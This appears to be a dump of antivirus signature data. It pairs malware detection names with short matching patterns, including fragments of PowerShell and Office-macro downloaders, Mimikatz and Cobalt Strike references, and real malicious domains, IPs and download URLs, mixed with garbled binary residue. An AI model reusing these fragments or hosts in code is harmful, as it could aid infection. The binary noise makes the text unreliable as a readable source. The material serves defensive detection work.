&!#TrojanDownloader:Win32/PowerShell.A1 )O&!#TrojanDownloader:Win32/PowerShell.A1 vgbpahiadab1ageababcag8aeaa= '!#//SCPT:TrojanSpy:AndroidOS/DmsSpy.BB2 )O'!#//SCPT:TrojanSpy:AndroidOS/DmsSpy.BB2 applicationcom.stub.stubapp '!#SCPT:Trojan:PHP/PwRevWebshell.YA1!MTB )O'!#SCPT:Trojan:PHP/PwRevWebshell.YA1!MTB parametersetname=\"reverse\") '!#SCPT:Trojan:PowerShell/DllInjection.E )O'!#SCPT:Trojan:PowerShell/DllInjection.E writeprocessmemory.invoke($ '!#SCPT:TrojanDownloader:JS/Nemucod.echo )O'!#SCPT:TrojanDownloader:JS/Nemucod.echo =\"echo==\\\"unknown\\\"\";return '!#SCPT:TrojanDownloader:O97M/Powdow.SX1 )O'!#SCPT:TrojanDownloader:O97M/Powdow.SX1 continue\"=\"silentlycontinue '!#SCPT:TrojanDownloader:VBS/Banload.BL1 )O'!#SCPT:TrojanDownloader:VBS/Banload.BL1 vailabuscarmod2,aondeficar+ '!#SCRIPT:Exploit:Win32/CVE-2012-4792-A4 )O'!#SCRIPT:Exploit:Win32/CVE-2012-4792-A4 <t:animatecolorid=\"myanim\"/ '!#SCRIPT:PowerShell/AddTypedotnet.A!MTB )O'!#SCRIPT:PowerShell/AddTypedotnet.A!MTB  (\"http '!#SCRIPT:TrojanClicker:JS/FaceLiker.C-3 )O'!#SCRIPT:TrojanClicker:JS/FaceLiker.C-3 .style.top=(window.event.y- '!#TrojanDownloader:O97M/MalSpam.F!ats01 )O'!#TrojanDownloader:O97M/MalSpam.F!ats01 cmd/cc^m^d;;/v^;/c\";(((^set )O(!#ALF:Script:SingleKeyXorDataArray.ST004 224,8,8,8,8, @,93,129,237 225,9,9,9,9, @,92,128,236 233,1,1,1,1, @,84,136,228 234,2,2,2,2, @,87,139,231 235,3,3,3,3, @,86,138,230 236,4,4,4,4, @,81,141,225 237,5,5,5,5, @,80,140,224 238,6,6,6,6, @,83,143,227 239,7,7,7,7, @,82,142,226 (!#ALF:TrojanDownloader:O97M/Qakbot.scpt2 )O(!#ALF:TrojanDownloader:O97M/Qakbot.scpt2 c:/users/public (!#ALF:TrojanDownloader:O97M/Sheemdro.STA )O(!#ALF:TrojanDownloader:O97M/Sheemdro.STA concatenate(  nload (!#SCPT:JS/Obfuscator.parseInt.WiseLoop.A )O(!#SCPT:JS/Obfuscator.parseInt.WiseLoop.A parseint( 0o,16); (!#SCPT:Trojan:JS/IframeRef!redirector_03 )O(!#SCPT:Trojan:JS/IframeRef!redirector_03 <framesrc=\"http://  ?epl= (!#SCPT:TrojanDownloader:JS/Nemucod.ABM.1 )O(!#SCPT:TrojanDownloader:JS/Nemucod.ABM.1 ('41444f44422e53747265616d (!#SCPT:TrojanDownloader:JS/Nemucod.ABM.2 )O(!#SCPT:TrojanDownloader:JS/Nemucod.ABM.2 ['526573706f6e7365426f6479 (!#SCPT:TrojanDownloader:O97M/EncDoc.BRV5 )O(!#SCPT:TrojanDownloader:O97M/EncDoc.BRV5 <f>\"185.159.82.90/p1.\"</f> (!#SCPT:TrojanDownloader:VBS/Nemucod.BKP4 )O(!#SCPT:TrojanDownloader:VBS/Nemucod.BKP4 =right(tmi5hj38670,rh3379) )!#HackTool:PowerShell/Mikatz.Invoke!Lowfi )O)!#HackTool:PowerShell/Mikatz.Invoke!Lowfi functioninvoke-mimidogz{< functioninvoke-mimikatz{< )!#SCPT:AutoItApi_GUICtrlCreateContextMenu )O)!#SCPT:AutoItApi_GUICtrlCreateContextMenu guictrlcreatecontextmenu( )!#SCPT:TrojanDownloader:O97M/EncDoc.BKIR4 )O)!#SCPT:TrojanDownloader:O97M/EncDoc.BKIR4 <t>\"..\\cvbnxzcv.dll\")</t> )!#SCPT:TrojanDownloader:O97M/Powdow.BQD10 )O)!#SCPT:TrojanDownloader:O97M/Powdow.BQD10 $env:temp+'\\xlczo.exe')\") )!#SCRIPT:SoftwareBundler:Win32/Somoto.A-3 )O)!#SCRIPT:SoftwareBundler:Win32/Somoto.A-3 bitool::getoptionparamint )!#Script:Trojan:JS/NemuKryptikDow.AD!MTB1 )O)!#Script:Trojan:JS/NemuKryptikDow.AD!MTB1 \".replace(reg.eep,\" *!#SCPT:Exploit:O97M/CVE-2017-11882.AD1!MTB )O*!#SCPT:Exploit:O97M/CVE-2017-11882.AD1!MTB subject:fwd:fyiswiftcopy *!#SCPT:TrojanDownloader:JS/Nemucod.SS5!MTB )O*!#SCPT:TrojanDownloader:JS/Nemucod.SS5!MTB *!#SCPT:TrojanDownloader:JS/Nemucod.wscript )O*!#SCPT:TrojanDownloader:JS/Nemucod.wscript =\"typeofwscript.\";return *!#SCPT:TrojanDownloader:O97M/Encdoc.27!MTB )O*!#SCPT:TrojanDownloader:O97M/Encdoc.27!MTB -o%appdata%\\ \t.exe\")</f *!#SCPT:TrojanDownloader:VBS/Houndini.D!lw1 )O*!#SCPT:TrojanDownloader:VBS/Houndini.D!lw1 window.moveto-5000,-5000 *!#TrojanDownloader:O97M/Donoff.D!ams!atb01 )O*!#TrojanDownloader:O97M/Donoff.D!ams!atb01 =new-objectnet.webclient +!#SCPT:Exploit:O97M/CVE-2017-11882.AZD3!MTB )O+!#SCPT:Exploit:O97M/CVE-2017-11882.AZD3!MTB {{{\\m \\bin000 +!#SCPT:HackTool:PowerShell/InvokeSMBClient3 )O+!#SCPT:HackTool:PowerShell/InvokeSMBClient3 [0..15] [\"signature\"] +!#SCPT:TrojanDownloader:O97M/EncDoc.SI2!MTB )O+!#SCPT:TrojanDownloader:O97M/EncDoc.SI2!MTB jjccjj %dtruh 5zipfld +!#SCPT:TrojanDownloader:PowerShell/Tnega.PC )O+!#SCPT:TrojanDownloader:PowerShell/Tnega.PC $_.name-ne\"[kthreaddi]\" ,!#SCPT:Exploit:O97M/CVE-2017-11882.PAYF3!MTB )O,!#SCPT:Exploit:O97M/CVE-2017-11882.PAYF3!MTB \\bin00 ,!#SCPT:Exploit:O97M/CVE-2017-8570.JA!MTB!JA2 )O,!#SCPT:Exploit:O97M/CVE-2017-8570.JA!MTB!JA2 execute(\"objfile\"varwr ,!#SCPT:Phish:PHP/Referral_Spam_detect_Php.GG )O,!#SCPT:Phish:PHP/Referral_Spam_detect_Php.GG referralspamdetect.php ,!#SCPT:TrojanDownloader:JS/Powdow.PKDXR1!MTB )O,!#SCPT:TrojanDownloader:JS/Powdow.PKDXR1!MTB ,!#SCPT:TrojanDownloader:O97M/EncDoc.DRF1!MTB )O,!#SCPT:TrojanDownloader:O97M/EncDoc.DRF1!MTB ,!#SCPT:TrojanDownloader:O97M/IcedID.PVK1!MTB )O,!#SCPT:TrojanDownloader:O97M/IcedID.PVK1!MTB demetris9127f.com/xyz. ,!#SCPT:TrojanDownloader:O97M/IcedId.DRI1!MTB )O,!#SCPT:TrojanDownloader:O97M/IcedId.DRI1!MTB countblank(v201:v224)= ,!#SCPT:TrojanDownloader:O97M/IcedId.RVH3!MTB )O,!#SCPT:TrojanDownloader:O97M/IcedId.RVH3!MTB herty</t></si><si><t>a ,!#SCPT:TrojanDownloader:VBS/Obfuse.XGPK5!MTB )O,!#SCPT:TrojanDownloader:VBS/Obfuse.XGPK5!MTB -join'')|&('i'+'ex');\" -!#ALF:SCPT:Exploit:Win32/ASLR_Bypass_otkloadr )O-!#ALF:SCPT:Exploit:Win32/ASLR_Bypass_otkloadr otkloadr.wrassembly.1 -!#SCPT:BrowserModifier:Win32/Ruckenlinky!blnk )O-!#SCPT:BrowserModifier:Win32/Ruckenlinky!blnk centurylink.net/?cid= -!#SCPT:Exploit:Win32/CVE-2011-0035-cellchange )O-!#SCPT:Exploit:Win32/CVE-2011-0035-cellchange oncellchange=\" )O-!#SCPT:JS/Obfuscator.Redundancy.EmptyQuotes.C ].concat(\"\"+ =\"\"+\" -!#SCPT:TrojanDownloader:O97M/Obfuse.PKRE5!MTB )O-!#SCPT:TrojanDownloader:O97M/Obfuse.PKRE5!MTB dg58soestvug7fvyodsat )O.!#SCPT:TrojanDownloader:JS/Nemucod.WeirdReturn (){return\" a-z\";} .!#SCPT:TrojanDownloader:O97M/EncDoc.MS!MTB!MS1 )O.!#SCPT:TrojanDownloader:O97M/EncDoc.MS!MTB!MS1 <f>run($ )</f> .!#SCPT:TrojanDownloader:O97M/EncDoc.MS!MTB!MS3 )O.!#SCPT:TrojanDownloader:O97M/EncDoc.MS!MTB!MS3 <v>shellexecutea</v> )O.!#SCRIPT:BrowserModifier:Win32/Heazycrome!blnk http://navsmart.info .!#SCRIPT:PowerShell/Timestomp.B!lastaccesstime )O.!#SCRIPT:PowerShell/Timestomp.B!lastaccesstime ::setlastaccesstime( /!#SCPT:TrojanDownloader:O97M/EncDoc.APE!MTB!PE3 )O/!#SCPT:TrojanDownloader:O97M/EncDoc.APE!MTB!PE3 <si><t>gif</t></si> /!#SCPT:TrojanDownloader:O97M/EncDoc.DXT!MTB!DX1 )O/!#SCPT:TrojanDownloader:O97M/EncDoc.DXT!MTB!DX1 /!#SCPT:TrojanDownloader:O97M/EncDoc.EXP!MTB!EX2 )O/!#SCPT:TrojanDownloader:O97M/EncDoc.EXP!MTB!EX2 &amp;$ /!#SCPT:TrojanDownloader:O97M/EncDoc.VBE!MTB!VE6 )O/!#SCPT:TrojanDownloader:O97M/EncDoc.VBE!MTB!VE6 \"local\\temp\\ /!#SCPT:TrojanDownloader:O97M/EncDoc.VBE!MTB!VE7 )O/!#SCPT:TrojanDownloader:O97M/EncDoc.VBE!MTB!VE7 /!#SCPT:TrojanDownloader:PowerShell/Genbhv.A!vc1 )O/!#SCPT:TrojanDownloader:PowerShell/Genbhv.A!vc1 func]::virtualalloc 0!#SCPT:TrojanDownloader:JS/Nemucod.WeirdMathSqrt )O0!#SCPT:TrojanDownloader:JS/Nemucod.WeirdMathSqrt math.sqrt( 0!#SCPT:TrojanDownloader:JS/Nemucod.WeirdMathacos )O0!#SCPT:TrojanDownloader:JS/Nemucod.WeirdMathacos ;math.acos(0. returnmath.acos(0. 0!#SCPT:TrojanDownloader:JS/Nemucod.WeirdMathasin )O0!#SCPT:TrojanDownloader:JS/Nemucod.WeirdMathasin ;math.asin(0. returnmath.asin(0. 0!#SCPT:TrojanDownloader:O97M/EncDoc.IDOX!MTB!OX2 )O0!#SCPT:TrojanDownloader:O97M/EncDoc.IDOX!MTB!OX2 \"..\\hikos.hertolo\" 0!#SCPT:TrojanDownloader:O97M/EncDoc.IDOY!MTB!OY1 )O0!#SCPT:TrojanDownloader:O97M/EncDoc.IDOY!MTB!OY1 0!#SCPT:TrojanDownloader:O97M/EncDoc.IEAR!MTB!AR3 )O0!#SCPT:TrojanDownloader:O97M/EncDoc.IEAR!MTB!AR3 <f>goto('1rtgvrt'! 0!#SCPT:TrojanDownloader:O97M/EncDoc.IFAH!MTB!AH3 )O0!#SCPT:TrojanDownloader:O97M/EncDoc.IFAH!MTB!AH3 <f>goto('9rrvrv'!h 0!#SCPT:TrojanDownloader:O97M/EncDoc.IFAV!MTB!AV6 )O0!#SCPT:TrojanDownloader:O97M/EncDoc.IFAV!MTB!AV6 <f>goto('4scdac'!g 0!#SCPT:TrojanDownloader:O97M/EncDoc.IIAE!MTB!II7 )O0!#SCPT:TrojanDownloader:O97M/EncDoc.IIAE!MTB!II7 <sheetname=\"sheet\" 0!#SCPT:TrojanDownloader:O97M/EncDoc.XFBZ!MTB!BZ1 )O0!#SCPT:TrojanDownloader:O97M/EncDoc.XFBZ!MTB!BZ1 urlmon:zzzzzzbp%&4 0!#SCPT:TrojanDownloader:O97M/EncDoc.XFCC!MTB!CC4 )O0!#SCPT:TrojanDownloader:O97M/EncDoc.XFCC!MTB!CC4 0!#SCPT:TrojanDownloader:O97M/EncDoc.XFCD!MTB!CD4 )O0!#SCPT:TrojanDownloader:O97M/EncDoc.XFCD!MTB!CD4 0!#SCPT:TrojanDownloader:O97M/EncDoc.XFCE!MTB!CE3 )O0!#SCPT:TrojanDownloader:O97M/EncDoc.XFCE!MTB!CE3 0!#TEL:SCPT:TrojanDownloader:Script/Minocor!lowfi )O0!#TEL:SCPT:TrojanDownloader:Script/Minocor!lowfi 'http://v.bddp.net )O1!#ALF:TrojanDownloader:Script/CobaltStrike.VA!MSR checkhunterr.com0 info-develop.com0 jonsonsbabyy.com0 nomadfunclub.com0 puckhunterrr.com0 servicemount.com0 serviceswork.net0 servicewikii.com0 sexyservicee.com0 )O2!#SCPT:TrojanDownloader:Script/CobaltStrike.GA!MSR cmdupdatewin.com lsasswininfo.com                              g0Eq PYg Q 3E^V p V`E J \"Vr A +I N0N +6C g 1 %  A;L$ xf  4  xf     pn  cn ~`7> ] V:X w il9 2 u% R:  \",G' J Q%w                     YEF@             '                           HEF@                                              @w_, \" $D;  -TM> y ]g   x j Y3D ],TF v  B=Ky Vn\\ b %S= ;   N{T. J/xv 8 u1 S=  /O1/  l+Q K                                                                ,teTg O{m\\xf  +h7zg  n03}g  >lW'g  F}B1g ~%1p& iyA;7 ZhvIR !Small.gen!AH !Agent.ZG !QQHelper.gen!C %s?queryid=%s  http://setup1.tqzn.com/barbindsoft/barsetup.exe /http://setup1.tqzn.com/barbindsoft/barsetup.exe http://setup2.tqzn.com/barbindsoft/barsetup.exe /http://setup2.tqzn.com/barbindsoft/barsetup.exe http://setup3.tqzn.com/barbindsoft/barsetup.exe /http://setup3.tqzn.com/barbindsoft/barsetup.exe http://setup4.tqzn.com/barbindsoft/barsetup.exe /http://setup4.tqzn.com/barbindsoft/barsetup.exe] !Agent.BCB >http://g1.globo.com/Noticias/SaoPaulo/0,,MUL73439-5605,00.html  c:\\winupdte.exe +http://globonoticia.iitalia.com/noticia.com  !Renos.gen!F Please wait while Windows Safety Alert is being uninstalled. Close all applications. This program install on your system antispayware software. :This program install on your system antispayware software. carolus /c del %s >> NULL xyxuic.dll pkgvyg.dll Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Windows Safety Alert SYSRES] !Cimuz.T !QQHelper.C !Virtumonde.O !Virtumonde.OI@ VMDll.dll forkonce VMDll.dllforkforkonce Local_AfSysUpd \"Local_AfMainMutex www.traffic-converter.com  www.7adpower.coma  DllGetClassObject realgo realset  DllGetClassObjectrealgorealset sityp sitypnow VMDll.dllsitypsitypnow 864.235.246.150;www.zestyfind &p://makenow.net:80) (66.220.17.157;searchaM  x;Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings ,Local\\ReadURLListTimer 4Local_AfSysUpdConnectTimer \"Protection thread Registry thread *StopAndRecover thread .targetnet.com; *www.emarketmakers.com azoogleads.com; 4www.traffic-converter.com; \"infinite-ads.com; \"www.7adpower.com;g  wNyDg ()1H5= :+gZ< Y0DbG 'NtV=&W !Agent.AUV http://dist.checkin100.com/command?projectID=%s&affiliateID=%s&campaignID=%s&application=%s&v=9 http://sense-super.com/cgi/execute_log.cgi?filename=debug&type=failed_registry_read http://client.myadultexplorer.com/bundle_report.cgi?v=10&campaignID=%s&message=%s %s\\test_file1234.txt Software\\LifeTimePorn Software\\LifeTimePorn] !Agent.AVZ \"%s\" /VERYSILENT /REGISTRYFIX.EXE c:\\RPCInstall\\Release\\RPCInstall.pdb c:\\RPCInstall\\Release\\RPCInstall.pdb] !Zlob.gen!K !Small.CBA 'x|cc LoadLibraryAX hTTjfjjjh  CreateThreadU CloseHandleU C:\\boot.ini !Agent.ZH %s=%s  NUL [rename] wininit. \\usrinit.dll {5B02EBA1-EFDD-477D-A37F-05383165C9C0} ZwOpenSection   MapViewOfFile regsvr32 http://www.alxup.com/bin/Up.ini \\UpAuto.ini AutoUp.exe AutoUp.exe] !Agent.ABY !Agent.PI Install Service Success,Ready Execute Work Thread... No Find Service,Ready Install Service... No Find RedGirl Server,Installing... if exist \"%s\" goto delete !*_*->seven-eleven<-*_*! %s Inject To Browser... \\tmp.bat \\tmp.bat] !Agent.PN !Agent.ABC raB3G%p status=sleep \\\\.\\pipe\\$%d$  UrlCookieStr UrlNoLoad \tUrlNoLoad B64Decode \tB64Decode B64Encode \tB64Encode BinToStr Gecko/20070309 Firefox/2.0.0.3 !Adload.gen!A Stopping %s. SetServiceStatus() failed RegisterServiceProcess \\system\\regsvr32.exe player.dll mshtmlsed.exe FP30IE.dll FP30PY.dll FP30SVR.exe 2810BB9D466D} 71572690-1156-4e36-9F2A-42587899ABDE 71572690-1156-4e36-9F2A-42587899ABDE] !Small.DBB C:\\a.exe http://ygsondheks.info/c/ /installer.exe 1@jjjj 1@jj.h !Renos.gen!G !Renos.gen!H !Renos.gen!I !Zlob.gen!L MyBGTransfer_1 \\PC Drive Tool SOFTWARE\\Ultimate Fixer C:\\WINDOWS\\sysdx.dll C:\\WINDOWS\\msvb.dll C:\\WINDOWS\\hstsys.dll C:\\WINDOWS\\hostctrl.dll 6 HTTPClient software\\products software\\products] !Zlob.gen!M BhoNew.DLLDllCanUnloadNowDllGetClassObjectDllRegisterServerDllUnregisterServer GetActiveWindowx NrI g <?0lJ 1M$DL InternetAttemptConnect NrI g 8 search.msn.com/dnserror.aspx IsDebuggerPresent] !Adialer.D !Adialer.E EvtShutdownEvtStartupinstruntes if exist \"%s\" goto Retry cmd /c start /min GetAdaptersInfo !Agent.BCD !QQHelper.gen!D D$(Wu !QQHelper.gen!E !QQHelper.gen!F !QQHelper.gen!G !QQHelper.gen!H D$$Wu <A| <Z !QQHelper.L 0$@:y !QQHelper.M !QQHelper.N !Zlob.gen!N @ U;G'>W !Zlob.gen!O !Agent.AEA !Agent.AEB !Agent.AEC !Agent.AED !Agent.AEE !Agent.AEO UA:MacOS/Bundlore.G!MTB PUA:MacOS/Bundlore.B1&PUA:MacOS/Bundlore.B2z /+PUA:MacOS/Bundlore.B1&PUA:MacOS/Bundlore.B2z PUA:MacOS/Darthminer.A!MTB PUA:MacOS/Darthminer.A1&PUA:MacOS/Darthminer.A2&PUA:MacOS/Darthminer.A3z KGPUA:MacOS/Darthminer.A1&PUA:MacOS/Darthminer.A2&PUA:MacOS/Darthminer.A3z PUA:MacOS/Fplayer.A!MTB PUA:Block:Fplayer.A&!PUA:Exceptionz &\"PUA:Block:Fplayer.A&!PUA:Exceptionz PUA:AndroidOS/Airpush.A!MTB PUA:Block:Airpush.A&!PUA:Exceptionz &\"PUA:Block:Airpush.A&!PUA:Exceptionz Perseus!MSR PUA:MacOS/MacCleaner.C!MTB PUA:Block:MacCleaner.C&!PUA:Exceptionz )%PUA:Block:MacCleaner.C&!PUA:Exceptionz !Neoreklami.AA!MSR !Jetmedia!MSR *4\\is PUA:MacOS/Jawego.A!MTB PUA:Block:Jawego.A&!PUA:Exceptionz %!PUA:Block:Jawego.A&!PUA:Exceptionz PUA:MacOS/SimpleFiles.A!MTB PUA:Block:SimpleFiles.A&!PUA:Exceptionz *&PUA:Block:SimpleFiles.A&!PUA:Exceptionz PUA:AndroidOS/Sprovider.A!MTB PUA:Block:Sprovider.A&!PUA:Exceptionz ($PUA:Block:Sprovider.A&!PUA:Exceptionz PUA:Win32/InstallCore.LL P@7%temp%\\in 0\\css\\swagent.css %temp%\\in @3%temp%\\in 0\\csshover3.htc @1%temp%\\in 0\\libeay32.dll 0\\ssleay32.dll @$aNE PUA:AndroidOS/Cooee.A!MTB PUA:Block:Cooee.A&!PUA:Exceptionz $ PUA:Block:Cooee.A&!PUA:Exceptionz PUA:MacOS/CimpliAd.A!MTB PUA:MacOS/Cimpli.A1&PUA:MacOS/Cimpli.A2&PUA:MacOS/Cimpli.A3z ?;PUA:MacOS/Cimpli.A1&PUA:MacOS/Cimpli.A2&PUA:MacOS/Cimpli.A3z PUA:MacOS/Kidlogger.D!MTB PUA:Block:Kidlogger.D&!PUA:Exceptionz ($PUA:Block:Kidlogger.D&!PUA:Exceptionz PUA:AndroidOS/RecmAds.A!MTB PUA:Block:RecmAds.A&!PUA:Exceptionz &\"PUA:Block:RecmAds.A&!PUA:Exceptionz PUA:AndroidOS/Metasploit.A!MTB PUA:Block:Metasploit.A&!PUA:Exceptionz )%PUA:Block:Metasploit.A&!PUA:Exceptionz !Filetour!MSR =. j7 PUA:MacOS/MacBooster.K!MTB PUA:Block:MacBooster.K&!PUA:Exceptionz )%PUA:Block:MacBooster.K&!PUA:Exceptionz PUA:MacOS/Didnarbois.B!MTB PUA:Block:Didnarbois.B&!PUA:Exceptionz )%PUA:Block:Didnarbois.B&!PUA:Exceptionz PUA:MacOS/Jawego.B!MTB PUA:Block:Jawego.B&!PUA:Exceptionz %!PUA:Block:Jawego.B&!PUA:Exceptionz PUA:Win32/InstallCore.M!sms PUA:Win32/InstallCore.M XYZPhRun XYZPhRunTRQ Adware:Win64/Filetour!MSR PUA:MacOS/Spigot.G!MTB PUA:Block:Spigot.G&!PUA:Exceptionz %!PUA:Block:Spigot.G&!PUA:Exceptionz PUA:MacOS/Bundlore.H!MTB PUA:Block:Bundlore.H1&!PUA:Exceptionz ($PUA:Block:Bundlore.H1&!PUA:Exceptionz !Adload.SB!MSR Release\\adviser.pdb http://yasovetn1k.ru/files/ payout temp_directory_path() temp_directory_path()] PUA:MacOS/Shopsmart.B!MTB PUA:Block:Shopsmart.B&!PUA:Exceptionz ($PUA:Block:Shopsmart.B&!PUA:Exceptionz PUA:MacOS/GT32SupportGeeks.B!MTB  PUA:MacOS/GT32SupportGeeks.B!MTB PUA:Block:GT32SupportGeeks.B&!PUA:Exceptionz /+PUA:Block:GT32SupportGeeks.B&!PUA:Exceptionz PUA:MacOS/Bundlore.I!MTB PUA:Block:Bundlore.I1&PUA:Block:Bundlore.I2&PUA:Block:Bundlore.I3&!PUA:Exceptionz TPPUA:Block:Bundlore.I1&PUA:Block:Bundlore.I2&PUA:Block:Bundlore.I3&!PUA:Exceptionz PUA:MacOS/Crossrider.D!MTB PUA:Block:Crossrider.D&!PUA:Exceptionz )%PUA:Block:Crossrider.D&!PUA:Exceptionz !Goopdate!MSR PUA:MacOS/Genieo.J!MTB PUA:Block:Genieo.J&!PUA:Exceptionz %!PUA:Block:Genieo.J&!PUA:Exceptionz PUA:MacOS/Jawego.C!MTB PUA:Block:Jawego.C&!PUA:Exceptionz %!PUA:Block:Jawego.C&!PUA:Exceptionz PUA:MacOS/Pirrit.E!MTB PUA:MacOS/Pirrit.E1&PUA:MacOS/Pirrit.E2&PUA:MacOS/Pirrit.E3z ?;PUA:MacOS/Pirrit.E1&PUA:MacOS/Pirrit.E2&PUA:MacOS/Pirrit.E3z PUA:Win32/Prifou.UU P@F\\appdata\\local\\temp\\prefjsonfn.txt @\\appdata\\local\\temp\\prefjsonfn.txt PUA:MacOS/Bundlore.J!MTB PUA:MacOS/Bundlore.J1&PUA:MacOS/Bundlore.J2&!PUA:Exceptionz >:PUA:MacOS/Bundlore.J1&PUA:MacOS/Bundlore.J2&!PUA:Exceptionz !UtubeDownloader.J!rfn Misleading:Win32/PCReviver PUA:MacOS/WebShoppers.A!MTB PUA:Block:WebShoppers.A&!PUA:Exceptionz *&PUA:Block:WebShoppers.A&!PUA:Exceptionz !Small!MTB PUA:MacOS/Bundlore.K!MTB PUA:Block:Bundlore.K&!PUA:Exceptionz '#PUA:Block:Bundlore.K&!PUA:Exceptionz PUA:MacOS/Genieo.M!MTB PUA:Block:Genieo.M&!PUA:Exceptionz %!PUA:Block:Genieo.M&!PUA:Exceptionz PUA:Win32/GOM  PUA:Block:GOM&!PUA:Exceptionz PUA:MacOS/Adload.D!MTB PUA:Block:Adload.D&!PUA:Exceptionz %!PUA:Block:Adload.D&!PUA:Exceptionz PUA:MacOS/CoinMiner.F!MTB PUA:Block:CoinMiner.F&!PUA:Exceptionz ($PUA:Block:CoinMiner.F&!PUA:Exceptionz PUA:Win32/Gom_Player PUA:Block:Gom_Player&!PUA:Exceptionz '#PUA:Block:Gom_Player&!PUA:Exceptionz !Fareit.VD!MTB PUA:MacOS/Maconomi.A!MTB PUA:Block:Maconomi.A&!PUA:Exceptionz '#PUA:Block:Maconomi.A&!PUA:Exceptionz PUA:MacOS/Conduit.F!MTB PUA:Block:Conduit.F&!PUA:Exceptionz &\"PUA:Block:Conduit.F&!PUA:Exceptionz PUA:MacOS/Yontoo.A!MTB PUA:Block:Yontoo.A&!PUA:Exceptionz %!PUA:Block:Yontoo.A&!PUA:Exceptionz PUA:MacOS/MacReviver.F!MTB PUA:Block:MacReviver.F&!PUA:Exceptionz )%PUA:Block:MacReviver.F&!PUA:Exceptionz PUA:MacOS/MacKeeper.EE PUA:MacOS/MacKeeper.EE1&PUA:MacOS/MacKeeper.EE2&PUA:MacOS/MacKeeper.EE3&!PUA:Exceptionz ZVPUA:MacOS/MacKeeper.EE1&PUA:MacOS/MacKeeper.EE2&PUA:MacOS/MacKeeper.EE3&!PUA:Exceptionz PUA:MacOS/Awecleaner.C!MTB PUA:Block:Awecleaner.C&!PUA:Exceptionz )%PUA:Block:Awecleaner.C&!PUA:Exceptionz PUA:MacOS/FkCodec.B!MTB PUA:Block:FkCodec.B&!PUA:Exceptionz &\"PUA:Block:FkCodec.B&!PUA:Exceptionz PUA:MacOS/HistGrabber.A!MTB PUA:Block:HistGrabber.A&!PUA:Exceptionz *&PUA:Block:HistGrabber.A&!PUA:Exceptionz PUA:Win32/Bhunext PUA:Block:Bhunext&!PUA:Exceptionz $ PUA:Block:Bhunext&!PUA:Exceptionz PUA:MacOS/VSearch.H!MTB PUA:Block:VSearch.H&!PUA:Exceptionz &\"PUA:Block:VSearch.H&!PUA:Exceptionz PUA:MacOS/SurfBuyer.C!MTB PUA:MacOS/SurfBuyer.C1&PUA:MacOS/SurfBuyer.C2&!PUA:Exceptionz @<PUA:MacOS/SurfBuyer.C1&PUA:MacOS/SurfBuyer.C2&!PUA:Exceptionz PUA:MacOS/Bundlore.L!MTB PUA:Block:Bundlore.L&!PUA:Exception '#PUA:Block:Bundlore.L&!PUA:Exception PUA:MacOS/Bundlore.L1&PUA:MacOS/Bundlore.L2&PUA:MacOS/Bundlore.L3&!PUA:Exceptionz TPPUA:MacOS/Bundlore.L1&PUA:MacOS/Bundlore.L2&PUA:MacOS/Bundlore.L3&!PUA:Exceptionz !AgentTesla.VD!MTB PUA:MacOS/CoinMiner.G!MTB PUA:Block:CoinMiner.G&!PUA:Exceptionz ($PUA:Block:CoinMiner.G&!PUA:Exceptionz PUA:MacOS/Macnist.B!MTB PUA:Block:Macnist.B&!PUA:Exceptionz &\"PUA:Block:Macnist.B&!PUA:Exceptionz PUA:MacOS/SurfBuyer.B!MTB PUA:MacOS/SurfBuyer.B1&PUA:MacOS/SurfBuyer.B2&!PUA:Exceptionz @<PUA:MacOS/SurfBuyer.B1&PUA:MacOS/SurfBuyer.B2&!PUA:Exceptionz PUA:MacOS/VSearch.I!MTB PUA:Block:VSearch.I&!PUA:Exceptionz &\"PUA:Block:VSearch.I&!PUA:Exceptionz PUA:MacOS/Didnarbois.C!MTB PUA:Block:Didnarbois.C&!PUA:Exceptionz )%PUA:Block:Didnarbois.C&!PUA:Exceptionz PUA:MacOS/CoinMiner.H!MTB PUA:Block:CoinMiner.H&!PUA:Exceptionz ($PUA:Block:CoinMiner.H&!PUA:Exceptionz PUA:AndroidOS/MonitorMinor.A!MTB  PUA:AndroidOS/MonitorMinor.A!MTB PUA:Block:MonitorMinor.A&!PUA:Exceptionz +'PUA:Block:MonitorMinor.A&!PUA:Exceptionz PUA:MacOS/MacInformer.B!MTB PUA:Block:MacInformer.B&!PUA:Exceptionz *&PUA:Block:MacInformer.B&!PUA:Exceptionz PUA:MacOS/Adload.E!MTB PUA:Block:Adload.E&!PUA:Exceptionz %!PUA:Block:Adload.E&!PUA:Exceptionz !Dofoil!MSR PUA:MacOS/Shopsmart.C!MTB PUA:Block:Shopsmart.C&!PUA:Exceptionz ($PUA:Block:Shopsmart.C&!PUA:Exceptionz PUA:Win32/Ulphar.A!ml PUA:Win32/Ulphar.B!ml PUA:Win32/Ulphar.C!ml PUA:Win32/Ulphar.D!ml PUA:Script/Ulphar.A!ml PUA:Script/Ulphar.B!ml PUA:Script/Ulphar.C!ml PUA:Script/Ulphar.D!ml Program:Win32/Ulthaw.A!ml Program:Win32/Ulthaw.B!ml Program:Win32/Ulthaw.C!ml Program:Win32/Ulthaw.D!ml Program:Script/Ulthaw.A!ml Program:Script/Ulthaw.B!ml Program:Script/Ulthaw.C!ml Program:Script/Ulthaw.D!ml PUA:MacOS/DutyWatch.B!MTB PUA:Block:DutyWatch.B&!PUA:Exceptionz ($PUA:Block:DutyWatch.B&!PUA:Exceptionz PUA:MacOS/SpeedUpMac.A!MTB PUA:Block:SpeedUpMac.A&!PUA:Exceptionz )%PUA:Block:SpeedUpMac.A&!PUA:Exceptionz !Webalta!MSR PUA:MacOS/AMCleaner.P!MTB PUA:Block:AMCleaner.P&!PUA:Exceptionz ($PUA:Block:AMCleaner.P&!PUA:Exceptionz PUA:MacOS/AMCleaner.Q!MTB PUA:Block:AMCleaner.Q&!PUA:Exceptionz ($PUA:Block:AMCleaner.Q&!PUA:Exceptionz PUA:MacOS/MacBooster.L!MTB PUA:Block:MacBooster.L&!PUA:Exceptionz )%PUA:Block:MacBooster.L&!PUA:Exceptionz PUA:MacOS/Genieo.AD!MTB PUA:Block:Genieo.AD&!PUA:Exceptionz &\"PUA:Block:Genieo.AD&!PUA:Exceptionz PUA:MacOS/AMCleaner.R!MTB PUA:Block:AMCleaner.R&!PUA:Exceptionz ($PUA:Block:AMCleaner.R&!PUA:Exceptionz PUA:MacOS/Bundlore.M!MTB PUA:MacOS/Bundlore.M1&PUA:MacOS/Bundlore.M2&PUA:MacOS/Bundlore.M3&!PUA:Exceptionz 